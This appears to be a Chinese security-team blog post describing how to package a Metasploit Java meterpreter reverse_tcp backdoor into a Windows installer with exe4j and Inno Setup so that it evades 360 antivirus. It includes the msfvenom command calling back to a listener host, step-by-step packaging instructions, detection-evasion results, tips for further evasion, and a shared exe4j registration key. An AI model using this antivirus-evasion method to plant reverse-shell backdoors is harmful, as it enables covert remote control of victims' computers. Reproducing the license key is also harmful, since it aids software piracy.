Skip to content

Latest commit

 

History

History
378 lines (165 loc) · 10.9 KB

[WgpSec狼组安全团队]-2021-9-3-.Jar To .EXE免杀马探索.md

File metadata and controls

378 lines (165 loc) · 10.9 KB

.Jar To .EXE免杀马探索

原创 rebootORZ WgpSec狼组安全团队

WgpSec狼组安全团队

微信号 wgpsec

功能介绍 WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次,为了我们的slogan:打造信息安全乌托邦。前进!


__

收录于话题

点击蓝字

关注我们

** _声明
_**

本文作者:rebootORZ
本文字数:2280

阅读时长:20min

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

** 前言**

本文章的目的在于探索极端环境下,使用java编写木马代替常见Go、C++、ps等后门的可能性,及免杀效果的探索。

一、

** 环境**

  • Macbook Catalina 10.15.5

  • Java 1.8.0_211

  • IDeaJ 2021.01

  • 一个正常的jar文件

  • exe4j
    一个将jar转换成exe的工具,链接:https://exe4j.apponic.com/ 注册码:L-g782dn2d-1f1yqxx1rv1sqd

  • inno
    一个将依赖和exe一起打成一个安装程序的工具, 链接:https://jrsoftware.org/isdl.php

二、

** 实践**

Jar文件准备

简单写一个打印程序:

enjoy.class


public class enjoy {     public static void main(String[] args) {       System.out.println(\"rebootORZ...\");   }  }

打包成jar后的效果:

第一阶段打包

安装好exe4j如下:
直接 Next -> Project type -> "JAR in EXE" mode ->Next
接着输入生成的应用名称和输出路径:
选择运行方式,根据实际情况,这里选择命令行的形式,下面有个配置图标的,这里不做设置:
下面需要设置一下兼容性Advanced Options
钩上即可
一路Next,然后到下面这步:

在VM Parameters处填上:-Dfile.encoding=utf-8
然后点击右边的绿色加号添加jar包:
然后选择主类:
下一步填写系统jdk版本,和配置jre:
在输出目录下创建jre文件夹,并将jre的文件全部拷贝到该目录下:
选择jre
这一步的作用是让exe文件能够知道jre在哪里,在后面第二步打包的时候能够自己去这个路径找。
后面就一直点击Next直到完成即可:
这时候我们指定的输出目录下面会生成一个exe文件,此时该文件不是最终效果,因为前面指定的时候还只是指定了路径,但还没有将依赖打包到一起。

第二阶段打包

这个阶段需要让exe和指定的jre打包成一体,需要用到inno

File -> Create

输入应用名字,其他随意
添加文件:
一路Next,选择语言:
接着设置输出路径和文件名:
这里提示是否马上进行编译,选择否,因为我们还需要进行一些修改:
在下图位置另起一行插入红框中的内容:

删掉下面这行:

修改内容,按这个格式:

Source: "前面创建的JRE路径\*"; DestDir: "{app}\{# MyJreName}"; Flags: ignoreversion recursesubdirs createallsubdirs

点击绿色按钮进行编译,提示是否保存,根据实际情况选择即可:
等最终下面的绿色进度条走完即可:
运行结束后桌面生成了一个安装文件,文件名就是我们指定的文件名,程序会帮我们运行这个程序,安装即可
运行效果如图:
大小如下:

安装包 - 48.9M
安装后

  • 791M

三、

** 免杀测试**

生成默认的msf jar后门

msfvenom -p java/meterpreter/reverse_tcp LHOST=172.16.81.1 LPORT=4444 x

~/Desktop/TestJar.jar

监听:  

不打包,直接运行TestJar.jar会立马报毒:
按照上面的方法对TestJar.jar进行打包,在没有杀软和java环境的机器上安装并运行,可以成功上线:
在安装了360的机器上测试:

安装包查杀,未发现风险:
安装后的文件夹,未发现风险:
运行安装后的程序:

运行后不会马上出发告警
尝试执行命令后出发告警了:
可以看到,提示的是已经成功删除病毒文件(注意,这里删除的文件是.class文件),但我们回到我们的meterpreter,发现并没有掉线,且能够正常执行所有命令,后续不会再有告警:
经过主动检测,除了普通的系统优化建议外,无法查杀出后门:
通过上面测试,说明即使恶意文件被删除了,但是我们的会话还是在线,且不会再触发告警或被主动检测出风险,说明我们的后门的恶意类已经被加载进了内存。

从进程上看,只能看到有个java程序在运行:

如果杀软开启针对内存检测的功能则免杀效果会失效,例如开启360的网购模式:

提示进程java.exe存在问题了

** 后记**

优点

1.使用msf直接生成,未进行任何处理的后门也能有效免杀

2.运行后,即使被查杀一般也只是杀了恶意类文件payload.class,后台还会继续运行一个java进程,一般的方式看不出来这个异常。

不足之处

1.文件较大,安装前40M+,安装后700M左右

2.需要安装操作,所以就需要是能够远程桌面进行操作。

3.免杀效果不完全,还是会触发告警。

这个免杀方式只能说是一种思路,真正在实战中是否适用,还是得根据实际情况来判断。如果对payload进行处理、程序签名等,可以再提升一些免杀效果。

** 作者**

rebootORZ

雪压枝头低,虽低不着泥。一朝红日出,定要与天齐。

** 扫描关注公众号回复加群**

** 和师傅们一起讨论研究~**

WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec

预览时标签不可点

收录于话题 #

个 __

上一篇 下一篇

阅读

分享 收藏

赞 在看

____已同步到看一看写下你的想法

前往“发现”-“看一看”浏览“朋友在看”

示意图

前往看一看

看一看入口已关闭

在“设置”-“通用”-“发现页管理”打开“看一看”入口

我知道了

__

已发送

取消 __

发送到看一看

发送

.Jar To .EXE免杀马探索

最多200字,当前共字

__

发送中

写下你的留言

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看